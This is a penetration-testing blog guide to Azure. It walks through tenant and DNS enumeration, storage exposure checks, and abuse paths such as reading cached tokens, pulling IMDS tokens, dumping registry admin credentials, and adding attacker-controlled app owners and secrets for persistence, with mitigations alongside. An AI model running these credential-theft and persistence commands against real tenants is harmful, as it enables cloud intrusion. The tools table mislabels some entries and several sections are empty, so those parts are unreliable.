October 15, 2025
Learn how to perform effective Azure penetration testing. Step-by-step guide covering enumeration, common attacks and misconfigurations.
Khaled Hassan
Cloud security is a cornerstone of modern enterprise defense, and Azure penetration testing has become a top priority for organizations relying on Microsoft’s cloud ecosystem. Unlike traditional on-prem infrastructures, Azure environments present a complex mix of identity-based security controls, network segmentation, SaaS integrations, and PaaS services. For penetration testers and security professionals, mastering these nuances is crucial to simulate real-world adversaries effectively.
This comprehensive guide provides a structured methodology to conduct Azure cloud penetration testing—from initial enumeration to exploitation and post-exploitation—designed for intermediate to senior security professionals.
Microsoft Azure hosts over 70% of Fortune 500 companies, making it a prime target for threat actors. While Microsoft provides robust security controls, misconfigurations, weak identity management, and excessive permissions remain the biggest attack surfaces.
Penetration testing Azure environments helps organizations:
“Cloud misconfiguration is still the number one cause of breaches in cloud environments.” Gartner 2024 Security Report
Before launching any testing activity, clear rules of engagement must be established to remain compliant with Microsoft’s Cloud Penetration Testing Rules.
Tip: Use a signed Rules of Engagement (RoE) document to protect both the testing team and the client.
A solid understanding of Azure’s structure is essential to identify attack vectors. Azure resources are organized in a hierarchical model:
Key security layer: Azure Active Directory (Entra ID) controls access across Azure, M365, and connected SaaS applications. Most attacks pivot around identity and permissions here.
Why it matters: By default, any user can browse the Azure portal surface and enumerate some tenant objects and app connections.
Check
Mitigation
Goal: Find accidentally exposed services by fuzzing common Azure DNS zones (read-only checks only).
Targets
.blob.core.windows.net
, .file.core.windows.net
, .queue.core.windows.net
, .table.core.windows.net
.azurewebsites.net
, SCM: .scm.azurewebsites.net
.vault.azure.net
.database.windows.net
, .documents.azure.com
(Cosmos).azurecontainer.io
, .azurecr.io
.azureedge.net
, .azure-api.net
, .search.windows.net
Safe triage
# Resolve candidate hostnames without sending requests to app paths
dig +short myapp.azurewebsites.net
dig +short mystorage.blob.core.windows.net
Mitigation
Goal: Detect publicly listable/READable containers.
Safe check
# Inventory
az graph query -q "Resources | where type=='microsoft.storage/storageaccounts' | project name,rg=resourceGroup,allowBlobPublicAccess=properties.allowBlobPublicAccess"
# Spot-test (anonymous listing)
az storage blob list \\\\
--account-name <acct> \\\\
--container-name <container> \\\\
--auth-mode login \\\\
--output table
# If anonymous listing is possible, stop; don’t download data.
Mitigation
allowBlobPublicAccess=false
, require SAS with short expiry, enable logging.Goal: Identify tenant ID and endpoints safely.
curl -s <https://login.microsoftonline.com/><org-domain>/.well-known/openid-configuration | jq '.issuer,.authorization_endpoint,.token_endpoint'
What to expect: Tenant (GUID) revealed via issuer; use only for scoping. Mitigation: None needed—public metadata by design. Use branding and monitoring to reduce phishing utility.
Goal: Reuse cached bearer tokens from a compromised Cloud Shell.
# Inside Cloud Shell
cat ~/.azure/accessTokens.json
Evidence: JWTs scoped to ARM/Graph. Mitigation: Disable Cloud Shell for non-admins, enforce re-auth, monitor Cloud Shell app sign-ins, shorten token lifetimes.
Risk patterns
Checks
az acr show -n <registry> -g <rg> --query "{adminUserEnabled:adminUserEnabled, policies:policies}"
az role assignment list --scope $(az acr show -n <registry> --query id -o tsv) -o table
What to look for
adminUserEnabled: true
Mitigation
Goal: Retrieve ACR admin creds (high impact if someone left it on).
# Requires adequate rights on ACR resource
az acr credential show -n <registry>
Mitigation
adminUserEnabled=false
, rotate any leaked creds, prefer MSI/OIDC for CI.Goal: Obtain cluster credentials from control plane (if caller has rights).
az aks get-credentials -g <rg> -n <aks> --overwrite-existing
kubectl get pods -A
What to expect: If Azure AD/RBAC is weak, this yields cluster-admin or broad namespace access. Mitigation: Enforce Azure AD for AKS, granular Kubernetes RBAC, and least-priv on get-credentials
.
Goal: Read Function host keys if Storage is weakly secured.
# Common secrets container
az storage blob list \\\\
--account-name <func_storage_acct> \\\\
--container-name azure-webjobs-secrets \\\\
--auth-mode login -o table
Mitigation
Goal: Persistence via app creds/owners/permissions.
Common abuse paths
Commands
# Add new secret to app
az ad app credential reset --id <APP_ID> --append --display-name "ops-automation" --years 1
# Add owner
az ad app owner add --id <APP_ID> --owner-object-id <ATTACKER_OBJECT_ID>
# Grant permissions (careful; needs admin rights)
az ad app permission add --id <APP_ID> --api <RESOURCE_APP_ID> --api-permissions <PERM_ID>=Role
az ad app permission grant --id <APP_ID> --api <RESOURCE_APP_ID>
Mitigation
Goal: Pull an ARM/Graph token from the instance metadata endpoint (IMDS).
curl -H "Metadata:true" \\\\
"<http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com>"
Mitigation
Goal: Execute commands as root (Linux) or NT AUTHORITY\SYSTEM (Windows) when you have Microsoft.Compute/*/runCommand
via Contributor.
# Linux
az vm run-command invoke -g <rg> -n <vm> --command-id RunShellScript --scripts "id"
# Windows
az vm run-command invoke -g <rg> -n <vm> --command-id RunPowerShellScript --scripts "whoami"
Mitigation
Goal: Obtain a time-bound SAS URL to read VHD contents.
az disk grant-access --name <diskName> --resource-group <rg> --duration-in-seconds 3600
Mitigation
grant-access
operations.Goal: Enumerate environment variables and settings via Kudu if reachable.
# If SCM is accessible and auth misconfigured
curl -u <user>:<pass> https://<app>.scm.azurewebsites.net/api/settings
# Or via CLI (safer)
az webapp config appsettings list -g <rg> -n <app>
Mitigation
Tool | Usage | Link |
---|---|---|
ROADtools (ROADrecon) | Azure AD / Entra ID enumeration | https://github.com/dirkjanm/ROADtools |
AADInternals | Advanced Entra ID / Azure AD PowerShell toolkit | https://github.com/Gerenios/AADInternals |
AzureHound | Azure data exporter for BloodHound (collection) | https://github.com/SpecterOps/AzureHound |
BloodHound | Graph-based attack-path analysis | https://github.com/SpecterOps/BloodHound |
MicroBurst | Automated Azure attack & escalation scripts | https://github.com/NetSPI/MicroBurst |
Azure CLI (azure-cli) | Authenticated Azure enumeration & management | https://github.com/Azure/azure-cli |
Azure PowerShell (azure-powershell / Az) | GUI for browsing Azure Storage accounts | https://github.com/Azure/azure-powershell |
Azure Storage Explorer | CLI tool for copying Azure Storage data | https://github.com/microsoft/AzureStorageExplorer |
ScoutSuite | Multi-cloud security posture auditing | https://github.com/nccgroup/ScoutSuite |
CloudSploit (Aqua / cloudsploit) | Cloud configuration / CSPM checks | https://github.com/aquasecurity/cloudsploit |
Impacket | Post-exploitation / AD lateral movement | https://github.com/fortra/impacket |
CrackMapExec | Exploitation framework & modules | https://github.com/byt3bl33d3r/CrackMapExec |
PowerZure | PowerShell Azure reconnaissance & exploitation | https://github.com/hausec/PowerZure |
ROBDog (various repos) | (user-listed) repository reference | https://github.com/adourish/robodog |
Expert Sources Referenced
Stay secure with DeepStrike penetration testing services. Reach out for a quote or customized technical proposal today
Contact Us